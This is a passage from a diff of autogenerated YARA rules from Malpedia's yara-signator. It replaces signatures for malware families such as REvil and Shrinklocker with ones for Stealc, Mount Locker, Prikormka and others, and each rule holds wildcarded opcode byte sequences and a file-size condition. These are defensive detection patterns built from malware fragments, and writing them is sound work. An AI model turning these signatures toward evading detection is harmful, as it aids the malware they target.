$sequence_8 = { b803000000 c3 83792800 7427 488b5118 48837a0800 741c } - $sequence_9 = { 0f849e000000 3d45940100 7465 3d56a60100 7441 3dffdc0100 7424 } + $sequence_0 = { 41b800300000 488bd6 33c9 4c8bf6 ff15???????? } + $sequence_1 = { 488bd1 b940000000 ff15???????? 448b442438 } + $sequence_2 = { 7509 488b5b08 483b1f 75e9 } + $sequence_3 = { 488b4de7 ff15???????? 488b4def 33d2 ff15???????? 4c8d9c24a0000000 8bc3 } + $sequence_4 = { 488d942450010000 b904010000 ff15???????? 4c8d4c2440 } + $sequence_5 = { 7518 66c7030206 ff15???????? 894302 b806000000 e9???????? } + $sequence_6 = { 750f 66c7030101 b802000000 e9???????? 488d942450010000 b904010000 ff15???????? } + $sequence_7 = { ff15???????? 85c0 7434 488b4d7f } + $sequence_8 = { ff15???????? 488bf0 4885c0 7513 66c7030203 ff15???????? } + $sequence_9 = { ff15???????? 488bcf 894302 ff15???????? } condition: - 7 of them and filesize < 887808 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Terminator_Rat_Auto : FILE +rule MALPEDIA_Win_Maoloa_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a907b97c-e30c-569d-92f6-e3c29e0c0bce" + id = "afa3d79b-4a68-539f-9bf1-2fbe13d229d7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.terminator_rat_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maoloa_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "65d625611fed0b10063c05f198c3f84077666921d947cf7651a55c8e71d92a0f" + logic_hash = "6927aeeb8c5b24487b9e82b9c7317d430a704e39d7308aabba00107302314472" score = 75 quality = 75 tags = "FILE" @@ -100179,34 +100307,34 @@ rule MALPEDIA_Win_Terminator_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffb7e8feffff 8d854d010000 8987e8feffff 8b8541010000 c1e006 } - $sequence_1 = { c0c003 3441 c0c003 3452 c0c003 3443 } - $sequence_2 = { 6a04 bb00040000 57 53 6a00 } - $sequence_3 = { 53 56 8b7708 ff77fc ffb51d010000 8f47f4 } - $sequence_4 = { 8d4618 50 8b8539010000 03c1 50 e8???????? 8b4610 } - $sequence_5 = { 50 e8???????? 83f8ff 7408 81c400040000 } - $sequence_6 = { 8b4b0c ac 3459 c0c803 3448 c0c803 } - $sequence_7 = { 8f87f0fbffff 5e 5b 81c410040000 } - $sequence_8 = { e9???????? ff7610 8b8d35010000 8d4618 50 8b8539010000 03c1 } - $sequence_9 = { ff5541 50 ff5569 8bf0 } + $sequence_0 = { 8d4c241c e8???????? 8bf0 83c404 85f6 7524 0f10842468010000 } + $sequence_1 = { 90 ff0f 8d4dd8 33d2 e8???????? 8bf0 85f6 } + $sequence_2 = { 53 ff15???????? 85c0 7595 53 } + $sequence_3 = { 8b4d0c 81ff00040000 7615 5f b8fcffffff 5b 8b4dfc } + $sequence_4 = { 897018 8bcb 895d08 c1e918 89581c 0fb69998f14200 8b4d08 } + $sequence_5 = { 8b45f4 8d1c9f 338310100000 81c710100000 314df0 8945f4 8b45ac } + $sequence_6 = { 8d4dd8 33d2 e8???????? 8bf0 85f6 0f85dc010000 837dbc01 } + $sequence_7 = { c3 8b4d9c 53 52 33d2 e8???????? } + $sequence_8 = { 8bc6 c1e002 50 8b85b4f8ffff 0fb70485cc444200 8d0485c83b4200 } + $sequence_9 = { 8bf0 6a08 6a08 89742430 e8???????? 83c410 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 586752 } -rule MALPEDIA_Win_C0D0So0_Auto : FILE +rule MALPEDIA_Win_Prikormka_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aea7e5c4-8703-5b4f-a55a-e1b218098e9e" + id = "2d17b792-a768-56ab-af11-e8fba342d1c6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.c0d0so0_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prikormka_auto.yar#L1-L417" license_url = "N/A" - logic_hash = "0dd75833152df4b63946cc86c2ac389a4374b8155ffb49a46f2ef69869ec191b" + logic_hash = "ca50544df2308cc151f303c9210769038ba6545078bcd4dca147dd52915255ab" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -100218,32 +100346,68 @@ rule MALPEDIA_Win_C0D0So0_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a04 bf00200000 57 ff7350 ff7334 ffd6 } - $sequence_1 = { 837d0c00 7404 0006 eb02 2806 0fb6c0 } - $sequence_2 = { ff15???????? eb46 8d0c4e 8d0c4f } - $sequence_3 = { ff15???????? 85c0 7423 6683780802 } - $sequence_4 = { 33c0 5d c3 8b503c 813c1050450000 75f0 8bd7 } - $sequence_5 = { 7421 8345f814 8b45f8 6a14 83c0f0 50 } - $sequence_6 = { c1ea10 ff4dfc 8813 43 837dfc00 7fe7 8b5508 } - $sequence_7 = { 741f 4a 7417 4a 740f } - $sequence_8 = { eb62 8d45f4 50 57 8d45fc } - $sequence_9 = { 85c0 740f 8b00 47 89048e 41 } + $sequence_0 = { 8d0446 50 e8???????? 83c40c 6a00 56 } + $sequence_1 = { 6a00 56 ffd3 8b2d???????? 85c0 7405 } + $sequence_2 = { 8d1446 52 e8???????? 83c40c } + $sequence_3 = { 6800020000 ff15???????? 68???????? ffd7 03c0 50 68???????? } + $sequence_4 = { 51 e8???????? 83c40c 68???????? ffd7 } + $sequence_5 = { 85f6 7420 68???????? ffd7 } + $sequence_6 = { 6a00 56 ffd3 85c0 7405 6a02 56 } + $sequence_7 = { 740e 68???????? 50 ff15???????? ffd0 } + $sequence_8 = { 7408 41 42 3bce } + $sequence_9 = { 83c40c 8d442404 50 ff15???????? 5e 85c0 } + $sequence_10 = { 59 c3 50 ff15???????? b801000000 } + $sequence_11 = { 6a00 6a00 ff15???????? 85c0 7502 59 c3 } + $sequence_12 = { 0fb7c0 6683f805 7d09 b801000000 } + $sequence_13 = { c3 57 6a00 6a00 6a00 6a02 } + $sequence_14 = { 68???????? ff15???????? 0fb7c0 6683f805 } + $sequence_15 = { ff15???????? ffd0 c705????????01000000 c705????????01000000 } + $sequence_16 = { 5e 85c0 7422 68???????? 50 } + $sequence_17 = { 5e 85c0 7414 c705????????01000000 } + $sequence_18 = { 33f6 e8???????? e8???????? e8???????? e8???????? e8???????? e8???????? } + $sequence_19 = { 6685d2 75f5 2bce 8d1400 52 d1f9 } + $sequence_20 = { 8bf0 ff15???????? 3db7000000 751f } + $sequence_21 = { 50 e8???????? 8b2d???????? 83c40c 6a00 } + $sequence_22 = { 3db7000000 751f 56 ff15???????? 33c0 } + $sequence_23 = { 668b08 83c002 6685c9 75f5 8b0d???????? 2bc2 8b15???????? } + $sequence_24 = { d1f8 8d7102 8da42400000000 668b11 83c102 6685d2 } + $sequence_25 = { e8???????? 8b35???????? 83c40c 68???????? ffd6 03c0 } + $sequence_26 = { 50 e8???????? b8???????? 83c40c 8d5002 } + $sequence_27 = { 6685c9 75f5 8d0c12 2bc6 51 d1f8 8d544408 } + $sequence_28 = { 75f5 2bc6 8d0c12 51 d1f8 } + $sequence_29 = { 85c0 7409 6a02 68???????? } + $sequence_30 = { 52 0fb754241c 50 0fb7442422 } + $sequence_31 = { e8???????? 83c40c eb0d 6a00 6800020000 ff15???????? } + $sequence_32 = { 68???????? 33ff 57 57 ff15???????? 8bf0 } + $sequence_33 = { 68???????? ffd6 50 68???????? 57 ffd6 03c7 } + $sequence_34 = { 75f5 2bc2 b9???????? d1f8 8d7102 668b11 } + $sequence_35 = { 83c002 6685c9 75f5 2bc6 03d2 52 } + $sequence_36 = { 6685d2 75f5 8d1400 2bce 52 d1f9 } + $sequence_37 = { d1f8 8bd0 b8???????? 8d7002 } + $sequence_38 = { b8???????? 8d7002 8da42400000000 668b08 83c002 } + $sequence_39 = { 8b1d???????? 83c40c 6a00 68???????? } + $sequence_40 = { 50 e8???????? b9???????? 83c40c 8d5102 668b01 } + $sequence_41 = { c20400 6a0c b8???????? e8???????? 33c0 8945ec } + $sequence_42 = { 6a00 8d45f8 50 8d34fd0cde0110 ff36 e8???????? } + $sequence_43 = { 50 43 6a02 43 } + $sequence_44 = { 8d4514 50 e8???????? 53 8d4d00 } + $sequence_45 = { 3bfb 7d12 8b4de4 53 } condition: - 7 of them and filesize < 450560 + 7 of them and filesize < 401408 } -rule MALPEDIA_Win_Shrinklocker_Auto : FILE +rule MALPEDIA_Win_Mount_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2766ab1f-0f76-5831-84d1-b9f95003f3f6" + id = "2052c543-cb18-5d1a-a87c-7c9ba4a04469" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shrinklocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shrinklocker_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mount_locker_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "51a8eff3d0e892d08ca7cb6cb77d8a510f6bbf09ab967ba64d6200c00464e9c5" + logic_hash = "9773bfd51e99f33a259a570fd66a0ee2d45575bac793a3c37128b45245a677af" score = 75 quality = 75 tags = "FILE" @@ -100257,32 +100421,38 @@ rule MALPEDIA_Win_Shrinklocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a804 7409 488d1db94c0300 eb14 a802 488d1dc64c0300 488d05d74c0300 } - $sequence_1 = { 4803c8 488bc1 488b4d20 488b95d8000000 488d0c51 4c8bc0 488b4538 } - $sequence_2 = { 488b4c2460 898110170000 e9???????? 8b442468 ffc8 488b4c2460 4881c1bc000000 } - $sequence_3 = { 4c896310 4d8bc6 48897318 488bcf 4883fd0f 7648 488b33 } - $sequence_4 = { e8???????? 488b4c2430 48894c2420 4c8b4c2458 4c8b442460 488b4c2450 488b5110 } - $sequence_5 = { e8???????? 88442425 488b8c2480000000 488b09 48634904 488b942480000000 } - $sequence_6 = { eb58 b804000000 4869c000010000 488b4c2468 0fb70401 488b4c2460 8b8910170000 } - $sequence_7 = { 8b84815c270100 4803c1 ffe0 488b442430 83781000 7511 } - $sequence_8 = { 2500e00000 85c0 7424 488b842410010000 488d0de2300400 48894820 488b442430 } - $sequence_9 = { 488d54242f 488d4c2458 e8???????? 90 c644243011 488d542430 488d4c2458 } + $sequence_0 = { 498be8 4d8bc8 4c8bc2 4c8bf2 } + $sequence_1 = { f30f5905???????? 0f5ad0 66490f7ed0 e8???????? } + $sequence_2 = { 8bc8 81e10000ffff 81f900000780 7503 0fb7c0 3d2e050000 } + $sequence_3 = { 488b0b 41b902000000 4533c0 33d2 } + $sequence_4 = { 488d4df0 4889442428 4533c9 4533c0 } + $sequence_5 = { 4c8bc2 4c8bf2 8bf1 33d2 33c9 } + $sequence_6 = { 4c8b05???????? 488bcb 488b15???????? e8???????? } + $sequence_7 = { 4533c9 488b4c2458 33d2 c744243001000000 c744243c02000000 } + $sequence_8 = { ff15???????? 85c0 7509 f0ff05???????? } + $sequence_9 = { 7505 e8???????? 833d????????00 7409 833d????????00 } + $sequence_10 = { 7423 488b0d???????? 4885c9 7417 488364242000 4c8d4c2468 } + $sequence_11 = { 57 ff15???????? 8bd8 85db 7442 } + $sequence_12 = { 66894df8 668945f4 56 56 } + $sequence_13 = { 8b7c2414 8b35???????? bd???????? 8b15???????? 8bde 03df 89542414 } + $sequence_14 = { c3 6aff ff7508 e8???????? 68???????? } + $sequence_15 = { 59 59 5f 5e 33c0 5d } condition: - 7 of them and filesize < 10490880 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Lynx_Auto : FILE +rule MALPEDIA_Win_Stealc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f38e4f00-aaca-5bf9-869c-83083f4fee5c" + id = "ff6aaa00-958c-53cc-ab33-0d5cc117632f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lynx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lynx_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealc_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "830d0c044d086e873e93b41654d3296d5d83edd7251c856a6c1b1da8daa3d504" + logic_hash = "0abba8b26d40125f184d3d439be2ae9ffb7dbc4aae103ea542b0165f4c38fedb" score = 75 quality = 75 tags = "FILE" @@ -100296,32 +100466,40 @@ rule MALPEDIA_Win_Lynx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4dec 0f1145ec e8???????? b90f000000 8d87bf000000 } - $sequence_1 = { 23d1 8b7df4 8bde 8955dc 81f3ffffff03 8b55f0 f7d3 } - $sequence_2 = { 038580fcffff 038574fdffff 898548fdffff 8d0433 898528fdffff 8b8558fdffff } - $sequence_3 = { e9???????? 83bb6801000000 8b4320 894308 8b4324 c7433400000000 89430c } - $sequence_4 = { 8d4010 83fa0a 72dc 8b8d0cffffff 2b0f 8b8510ffffff 1b4704 } - $sequence_5 = { ff15???????? 50 ff15???????? 85c0 0f84db000000 8b5dc0 } - $sequence_6 = { 41 81f901010000 7ced 8a8619834200 88843319010000 46 81fe00010000 } - $sequence_7 = { 89957cfcffff 899578fcffff 899de4fcffff 81bd3cfdffff80020000 8bbd1cfdffff 89b5e8fcffff 8bb538fdffff } - $sequence_8 = { c1e10e 0b8d28fdffff 318d68fdffff 8b8d74fcffff c1e112 0b8d24fdffff } - $sequence_9 = { ff750c 57 6a01 53 ff15???????? 50 53 } + $sequence_0 = { e8???????? e8???????? 81c480000000 e9???????? } + $sequence_1 = { e8???????? e8???????? 83c418 6a3c } + $sequence_2 = { e8???????? 83c460 e8???????? 83c40c } + $sequence_3 = { ff15???????? 85c0 7507 c685e0feffff43 } + $sequence_4 = { 68???????? e8???????? e8???????? 83c474 } + $sequence_5 = { 50 e8???????? e8???????? 81c484000000 } + $sequence_6 = { 8d85dcf7ffff 50 8b450c 53 ff30 895df0 } + $sequence_7 = { 8d85dcf7ffff 50 ff15???????? 85c0 0f84a1000000 } + $sequence_8 = { e8???????? e8???????? 83c47c e9???????? } + $sequence_9 = { 69c10ba31400 894d80 2bc2 66894584 } + $sequence_10 = { e9???????? 694d940ba31400 ba51754269 2bca } + $sequence_11 = { 2bca 884c0588 48ffc0 4883f808 } + $sequence_12 = { 2bc2 66894584 69c187fd701e b934eddb95 } + $sequence_13 = { 85c0 750a b043 66c745a04300 eb03 8a45a0 } + $sequence_14 = { 8bcc 8d85e8fcffff 50 e8???????? } + $sequence_15 = { 894d94 b925000000 e8???????? 0fb64d8f } + $sequence_16 = { ba51754269 2bca 69c10ba31400 894d80 } + $sequence_17 = { e8???????? 0fb64d8f 4c8be0 440fb6458e } condition: - 7 of them and filesize < 363520 + 7 of them and filesize < 4891648 } -rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE +rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c501ff13-71e5-5a46-9388-bd1d1013ee63" + id = "66ff4a00-02d0-5dfa-b2f7-7b3271a8876d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_greencat_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptic_convo_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "4d09295114ba5dc3575e8f0ceeceef8f83e2061d012afdc45a6be16a472e1786" + logic_hash = "e28456acfbd5652f4b94b426affd2f208681769134e3003d7681a2d2c78d8e5f" score = 75 quality = 75 tags = "FILE" @@ -100335,32 +100513,32 @@ rule MALPEDIA_Win_Webc2_Greencat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 0f85ab000000 bf28010000 8d85c0fdffff 57 53 } - $sequence_1 = { 50 e8???????? 53 50 894614 } - $sequence_2 = { 8d4dac ff750c e8???????? 85c0 7511 6830750000 } - $sequence_3 = { 53 ff15???????? 55 e8???????? 3bf3 59 7407 } - $sequence_4 = { e9???????? 8d45ac 50 ff750c e8???????? e9???????? 8b4508 } - $sequence_5 = { 58 e9???????? 56 be00010000 57 56 e8???????? } - $sequence_6 = { 5a 8b7508 668950f8 8950fc 668910 66895802 66895804 } - $sequence_7 = { 8d0c30 03c6 2945ec 03d9 85f6 75ac 3975fc } - $sequence_8 = { ff15???????? 83f8ff 8945ec 7411 ff15???????? 3db7000000 0f84de010000 } - $sequence_9 = { 50 ff15???????? 3bc7 59 7405 a3???????? 8a45ff } + $sequence_0 = { 56 57 8bf1 e8???????? ff7674 8b3d???????? 6a01 } + $sequence_1 = { 2b459c ff7674 2bc7 40 99 2bc2 } + $sequence_2 = { c3 6800090000 6a00 e8???????? } + $sequence_3 = { 034d08 bb00300000 663bd3 7505 } + $sequence_4 = { 8b450c 53 8985ecfcffff 8b4514 56 8985f0fcffff 57 } + $sequence_5 = { 6a5c 85f6 7403 56 } + $sequence_6 = { 7905 4a 83cafe 42 7510 ff85b4feffff 8b95b4feffff } + $sequence_7 = { 8b85ecfcffff 8b95f4fcffff 53 ff7510 89540134 50 } + $sequence_8 = { 50 e8???????? 83c40c 33c0 8a88b0664000 888c05dc010000 } + $sequence_9 = { 3b85d4fcffff 750e 8b4610 03461c 8985a8fdffff eb0b } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 97280 } -rule MALPEDIA_Win_Rovnix_Auto : FILE +rule MALPEDIA_Win_Smanager_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "32481422-18fb-556e-8e6c-7773a418af62" + id = "9094b6d5-dd8f-5044-9d10-3bb7c70d2fbb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rovnix_auto.yar#L1-L329" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smanager_auto.yar#L1-L227" license_url = "N/A" - logic_hash = "ba6bf6a0e452ea16caba209e420afba03e6b6e5de61f66132ac7c6a92113c249" + logic_hash = "e0a2b573b878cce9fd789f6f7825fb445120b343d0f7f8893519c9a9cc16ccfe" score = 75 quality = 73 tags = "FILE" @@ -100374,58 +100552,46 @@ rule MALPEDIA_Win_Rovnix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c335 c1e902 ad 2bc3 } - $sequence_1 = { 57 6a00 ffd2 89442408 8bcf } - $sequence_2 = { ad 2bc3 ab e2fa 61 } - $sequence_3 = { 837c242c00 7405 57 6a00 } - $sequence_4 = { 8b15???????? 83e7f0 89542418 83c710 8bea } - $sequence_5 = { 60 bf40090000 be???????? 8b15???????? } - $sequence_6 = { 8b4d0c 897604 8936 8d7e08 } - $sequence_7 = { 8b7e10 eb06 8b5d0c 8b7d08 8bcf } - $sequence_8 = { 8bc2 c1e802 25ff000000 8d4cc324 8b01 } - $sequence_9 = { 85c0 e8???????? 8be5 5d } - $sequence_10 = { 25ff000000 8d4cc624 8b01 3bc1 } - $sequence_11 = { 3bc1 75f3 395e14 7511 ff4e18 } - $sequence_12 = { 894804 8b4608 8b4e0c 8901 894804 8b4718 } - $sequence_13 = { 894f04 8939 897804 ff4308 } - $sequence_14 = { 8975e4 c745ec40020000 8975e8 8975f0 } - $sequence_15 = { 83f919 7703 83c220 85c0 7404 } - $sequence_16 = { e8???????? 8be5 5d c3 85c0 e8???????? } - $sequence_17 = { 5d c3 85c9 e8???????? } - $sequence_18 = { 55 8bec 85db 85c9 } - $sequence_19 = { 23c9 16 85c9 23d2 } - $sequence_20 = { 23db 81e1ff000000 23c9 83440c0404 } - $sequence_21 = { 89442408 8bcf bb1092c63b 8bf8 83c335 c1e902 } - $sequence_22 = { 57 4883ec20 488b35???????? 33c9 bb9a0000c0 e8???????? 33ed } - $sequence_23 = { aa 27 ff44a8d2 4b } - $sequence_24 = { e8???????? 483bf3 75ea 4883c310 4983ec01 75db 8a5508 } - $sequence_25 = { 85c9 23c0 8be5 5d c20800 159e9dc35a fa } - $sequence_26 = { 488d8c2400010000 ba00001080 895c2428 897c2420 ff15???????? 85c0 7914 } - $sequence_27 = { 488905???????? 4a8d0c10 eb0d 488b02 488905???????? 488b0a 488b05???????? } - $sequence_28 = { 6232 27 0149bc 2ec9 } - $sequence_29 = { 8bec 23db 16 23c9 59 } - $sequence_30 = { d147f0 79f4 28f8 8fc1 } - $sequence_31 = { ae d7 b81fe9f60b e8???????? 7660 b85c8e6189 } - $sequence_32 = { 488b4128 4883c120 488905???????? 48890d???????? 4c8918 4c895908 33c0 } - $sequence_33 = { 488bcf ff15???????? 4c8d5c2470 8bc3 498b5b30 498b6b38 498b7348 } - $sequence_34 = { 83440c0404 23c9 8be5 5d c20400 95 367a3e } - $sequence_35 = { 4c397500 741e 837d04ff 750f 837d00ff 7512 488b4308 } + $sequence_0 = { c7462cffffffff 7410 6a00 6a00 } + $sequence_1 = { 8b4608 85c0 7420 a801 } + $sequence_2 = { 83c602 6a22 56 e8???????? 83c408 85c0 } + $sequence_3 = { 740e 3d45270000 7407 3d46270000 } + $sequence_4 = { 51 51 ffd0 83c40c c7460800000000 } + $sequence_5 = { 8b7604 6a00 6a00 56 } + $sequence_6 = { 8b4510 85c0 7407 50 ff15???????? } + $sequence_7 = { 56 68???????? 6a00 6a00 ff15???????? 8bf8 897e28 } + $sequence_8 = { ff15???????? 32c0 e9???????? 0f1005???????? } + $sequence_9 = { 8b43ec 85c0 751d 41f6c040 7408 488b07 } + $sequence_10 = { 0000 80ed4a 0044feff ff900100008c } + $sequence_11 = { 0000 0c0c 0c0c 0c0c 0c0c 0c0c 0102 } + $sequence_12 = { 0007 b15a 0089b05a0089 b05a } + $sequence_13 = { 85c0 745c 448d4368 488d4c2470 33d2 } + $sequence_14 = { 448b842498000000 488b942490000000 488b4c2448 488d842480000000 4533c9 4889442428 895c2420 } + $sequence_15 = { 0008 53 4f 00ef } + $sequence_16 = { 4863ca 8a441918 42888401b0210200 ffc2 } + $sequence_17 = { 488bce e8???????? 8b07 488b8c2480000000 89442430 488d442440 448d4301 } + $sequence_18 = { 0003 b157 0000 0c0c } + $sequence_19 = { b920000000 498bd0 482bd3 488d81deffff7f 4885c0 7417 0fb7041a } + $sequence_20 = { 0007 b15a 00c4 b15a } + $sequence_21 = { 0007 b15a 0007 b15a } + $sequence_22 = { 0001 ce 50 0008 } + $sequence_23 = { 751c 4883e0fe 488d4f08 4c8b08 4d85c9 740c 41b802000000 } condition: - 7 of them and filesize < 548864 + 7 of them and filesize < 10013696 } -rule MALPEDIA_Win_Revil_Auto : FILE +rule MALPEDIA_Win_Payloadbin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6d9b3831-9422-59dd-891e-cc56c498429e" + id = "479cd137-2967-575a-8de8-bab23a965cce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revil_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.payloadbin_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "5ffcb29efd36b8555dc7beef77a59c8169ca5a939654167ee68e6e55a4f62dd3" + logic_hash = "810f81f232eae27d52097e88c16ab90183a29e32277d9224dad94d2d9c691817" score = 75 quality = 75 tags = "FILE" @@ -100439,32 +100605,32 @@ rule MALPEDIA_Win_Revil_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33f6 6a00 6841db0100 ffb4356cffffff ffb43568ffffff } - $sequence_1 = { 50 8d8538feffff 50 ff7508 e8???????? ff7508 e8???????? } - $sequence_2 = { 8b80c0000000 8b5d08 8945ec 8b4508 } - $sequence_3 = { 0cc0 80c980 880437 884c3701 } - $sequence_4 = { 8365d000 807d0f2d 8b75f0 8975f4 7408 83ca02 } - $sequence_5 = { 4b 8955f8 e9???????? 837db400 } - $sequence_6 = { 8bc2 33437c 33cf 3345fc 894b78 8bcb } - $sequence_7 = { 3345e4 89417c 8bce f7d1 8bc2 234ddc } - $sequence_8 = { 81ecf0040000 53 56 57 bf90000000 } - $sequence_9 = { 57 33db 89b53cffffff 8d8540ffffff 43 } + $sequence_0 = { c744243003000000 488d4c2470 66448bc9 4487c2 6699 4c8d48b0 } + $sequence_1 = { 4d0fbddc 23c6 480fb7cb 0bd8 0fbfca 6698 418919 } + $sequence_2 = { 68eb3a8171 55 68396f8656 6819276b5f 682109a155 4c8b6c2438 48c7442438404fa1db } + $sequence_3 = { 4881c308000000 660fa4d81f f6d8 f9 9d d2e0 } + $sequence_4 = { 4153 310c24 6641ffc3 415b 403aea 6685d7 4863c9 } + $sequence_5 = { f9 f8 4151 41d2e1 311c24 4532cd 4522ce } + $sequence_6 = { ff15???????? 3ac3 e9???????? 0f8492010000 440fb7442430 488b542438 490fb7c9 } + $sequence_7 = { 8d56d4 fa 158935079e 9e 4657 250543b1d9 f661fd } + $sequence_8 = { 440fb7c1 4080fca3 6683f819 e9???????? 0f8703000000 4503c5 0fb703 } + $sequence_9 = { 4180fd52 4983c004 3bc8 e9???????? 0f860a000000 b801000000 e9???????? } condition: - 7 of them and filesize < 155794432 + 7 of them and filesize < 3761152 } -rule MALPEDIA_Win_Evilpony_Auto : FILE +rule MALPEDIA_Win_Unidentified_077_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ac551db8-0573-5b4c-8b60-da95879223db" + id = "c6846d21-78e4-583b-8f44-246681283285" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilpony_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_077_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "0bf858d26f7e4c261dccce71f7e0ab87c5f711b7c43013273d044a5073bd8d2b" + logic_hash = "ae8dcec1ad8cfc6899d8fdf0b1cf7ff7e070518ed02c06d0a8c7c2869d228f4f" score = 75 quality = 75 tags = "FILE" @@ -100478,32 +100644,32 @@ rule MALPEDIA_Win_Evilpony_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff74242c ff750c 53 e8???????? 83c418 85c0 7488 } - $sequence_1 = { 8d442420 50 ff742420 897c242c bbff070000 57 eb50 } - $sequence_2 = { 897df8 397df4 7654 3bf7 7450 8b4668 6aff } - $sequence_3 = { ff15???????? 8bd8 85db 747c 8bc6 } - $sequence_4 = { 837c241c05 750b 53 e8???????? 59 89442428 } - $sequence_5 = { ff75fc 8bf8 ff15???????? 85c0 7411 56 57 } - $sequence_6 = { 8d55b8 52 6a10 897dfc 8b08 50 ff510c } - $sequence_7 = { 50 ffd6 83c410 8d8564ffffff 50 ffb500ffffff ffd7 } - $sequence_8 = { 85c0 0f8485000000 8365f400 eb06 8b5d08 8b450c 8b0b } - $sequence_9 = { 33c5 8945f8 8b450c 8985f0f7ffff } + $sequence_0 = { 8d4210 83c220 f30f6f0418 660fefc1 f30f7f0418 413bd1 } + $sequence_1 = { 48894640 488d05a1fcffff 48894648 8b442424 } + $sequence_2 = { 4933f8 4a87bcf1a0bf0100 33c0 488b5c2450 